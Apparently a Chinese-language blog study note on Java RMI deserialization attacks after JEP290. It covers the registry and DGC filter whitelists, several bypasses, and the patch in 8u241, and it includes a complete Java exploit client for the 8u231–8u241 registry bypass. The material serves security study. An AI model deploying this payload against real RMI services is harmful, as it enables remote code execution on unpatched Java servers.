RMI反序列化攻击学习(3)
RMI攻击学习(3)
这篇说JEP290出现之后的攻击
JEP290
- 提供一个限制反序列化类的机制,白名单或者黑名单。
- 限制反序列化的深度和复杂度。
- 为 RMI 远程调用对象提供了一个验证类的机制。
- 定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。
这篇主要说对RMI攻击的影响
而在JDK 6u141、JDK 7u131、JDK 8u121版本进行了更新,引入了JEP290
这里简单说一下
主要在ObjectInputStream中增加了serialFilter(接口类型为ObjectInputFilter)和filterCheck方法
其中主要是用checkInput方法判断能否允许反序列化,参数为一个FilterValues封装了一些反序列化的信息

过滤的具体流程
首先我们先分析注册中心和DGC的过滤,两者处理请求类似,但是在分析时发现两者对过滤器的处理是有些许差别
首先看一下服务端判断请求然后设置过滤器的地方,处理Registry和DGC时都会进入oldDispatch方法,然后调用unmarshalCustomCallData()

然后使用了UnicastServerRef中的filter作为过滤器

注册中心设置过滤器的时机:在创建注册中心时装进UnicastServerRef

其中这些类被过滤
return String.class != var2 &&
!Number.class.isAssignableFrom(var2) &&
!Remote.class.isAssignableFrom(var2) &&
!Proxy.class.isAssignableFrom(var2) &&
!UnicastRef.class.isAssignableFrom(var2) &&
!RMIClientSocketFactory.class.isAssignableFrom(var2) &&
!RMIServerSocketFactory.class.isAssignableFrom(var2) &&
!ActivationID.class.isAssignableFrom(var2) &&
!UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
真正反序列化时即会过滤,如下函数栈即可了解

而DGC则是通过动态重写过滤函数实现

return var2 != ObjID.class &&
var2 != UID.class &&
var2 != VMID.class &&
var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;
JEP290 Bypass
直接对服务端进行攻击
条件:知道服务端的方法名和参数类型即可,如果不是Object,通过之前说的debugger方式或者其他方式均可以绕过
我们直接看服务端发布远程任务
RemoteObjImpl remoteObj = new RemoteObjImpl();
其中并没有对filter赋值,后面也没有对filter进行赋值,导致可以直接攻击服务端

exploit.JRMPListener+payload.JRMPClient(8u121-8u231)
上文说到的伪造服务端攻击客户端仍然是可以的 利用了两个条件进行了绕过
1.UnicastRef,Remote是在白名单内的,我们使用的是上文说的RemoteObject反序列化链是可以通过白名单校验的,到DGCImpl_Stub#dirty发送DGC请求
2.DGC客户端请求并未对反序列化做处理 ,上文把ysoserial.exploit.JRMPListener已经分析过了不赘述了,通过返回异常恶意类攻击作为客户端的

未配置过滤器

所以在8u231中加入了白名单,我们使用的javax.management.BadAttributeValueExpException无法通过


8u231~8u241 Bypass
整个流程是这样的,其实可以看到上面防御的手段是在invoke(里面是executeCall反序列化恶意代码)前面加上了过滤器对DGC实现了防御,所以如果是其他地方出现UnicastRef.invok()仍会出现漏洞
我们发现RemoteObjectInvokercationHandler.invokeRemoteMethod可以调用UnicastRef.invoke,其实很熟悉

自身的invoke方法中会调用此函数,又是个代理类,所以我们只要在白名单的反序列化中找委托类的任意调用即可完成

白名单可以找到如下函数。UnicastRemoteObject继承Remote,

而我们找的则是ssf这个委托类,可控 (RMIServerSocketFactory ssf)

在最后的newServerSocket会调用createServerSocket ,随后进入invoke方法执行上述所说的过程,反序列化收到的恶意payload

这里的UnicastRemoteObject类如何反序列化过去,只能通过攻击注册中心,因为DGC的过滤器中没有Remote的白名单。
然而客户端bind的序列化过程中会出现一点问题,也好理解,因为我们的bind绑定的都是动态代理,UnicastRemoteObject不是动态代理会被转化为RemoteObjectInvokerHandler,到服务端也就无法正确反序列化,但客户端是完全可操作的,所以重写bind方法加上反射修改enableOverride即可

最后的payload:
public class RMIClient {
public static void main(String[] args) throws Exception {
//创建UnicastRemoteObject类
UnicastRef ref = new UnicastRef(new LiveRef(new ObjID(new Random().nextInt()),new TCPEndpoint("127.0.0.1",7777),false));
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
//创建代理器
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
//代理ssf
RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{RMIServerSocketFactory.class},
handler
);
Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
field_ssf.setAccessible(true);
field_ssf.set(unicastRemoteObject, factory);
//绑定注册中心
Registry registry = LocateRegistry.getRegistry(1099);
//重写bind方法
Field ref_filed = RemoteObject.class.getDeclaredField("ref");
ref_filed.setAccessible(true);
UnicastRef ref1 = (UnicastRef) ref_filed.get(registry);
Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
operations_filed.setAccessible(true);
Operation[] operations = (Operation[]) operations_filed.get(registry);
RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
ObjectOutput outputStream = remoteCall.getOutputStream();
Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplace_filed.setAccessible(true);
outputStream.writeObject("hello");
outputStream.writeObject(unicastRemoteObject);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
}
修复:8u241中服务都调用invoke之前会判断代理的方法接口与Remote关系,导致Unicast.invoke不再能调用,不能通过上述方法向外发送JRMP请求

参考:
https://www.anquanke.com/post/id/259059#h3-11
https://su18.org/post/rmi-attack/#3-remoteobject
https://www.cnblogs.com/R0ser1/p/16757433.html#通过rasp-bypass原理object参数

浙公网安备 33010602011771号